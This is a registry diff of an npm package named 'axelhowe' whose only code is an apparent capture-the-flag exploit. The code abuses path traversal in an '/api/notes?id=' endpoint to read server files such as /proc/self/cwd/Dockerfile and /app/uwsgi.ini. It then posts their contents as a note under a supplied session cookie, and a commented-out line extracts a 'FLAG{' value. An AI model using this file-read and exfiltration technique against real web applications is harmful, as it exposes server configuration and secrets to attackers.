axelhowe 0.0.0-YVxLqVfX → 0.0.0-ZPffIoH1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +4 -3
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,5 +1,6 @@
1
1
  function f(cookie) {
2
- let url = "/api/notes?id=/proc/self/cwd/Dockerfile";
2
+ // let url = "/api/notes?id=/app/Dockerfile";
3
+ let url = "/api/notes?id=/app/uwsgi.ini";
3
4
  let url2 = "/api/notes";
4
5
  let data;
5
6
 
@@ -14,7 +15,7 @@ function f(cookie) {
14
15
  });
15
16
 
16
17
 
17
- let flag = data.content.split("'FLAG{")[1].substring(0, 100);
18
+ // let flag = data.content.split("'FLAG{")[1].substring(0, 100);
18
19
 
19
20
  fetch(
20
21
  "/login", {
@@ -32,7 +33,7 @@ function f(cookie) {
32
33
  "content-type": "application/json",
33
34
  "cookie": "session=" + cookie
34
35
  },
35
- body: JSON.stringify({ "title": data.title, "content": flag })
36
+ body: JSON.stringify({ "title": data.title, "content": data.content })
36
37
  }
37
38
  );
38
39
  });
package/package.json CHANGED
@@ -1 +1 @@
1
- {"name":"axelhowe","version":"0.0.0-YVxLqVfX"}
1
+ {"name":"axelhowe","version":"0.0.0-ZPffIoH1"}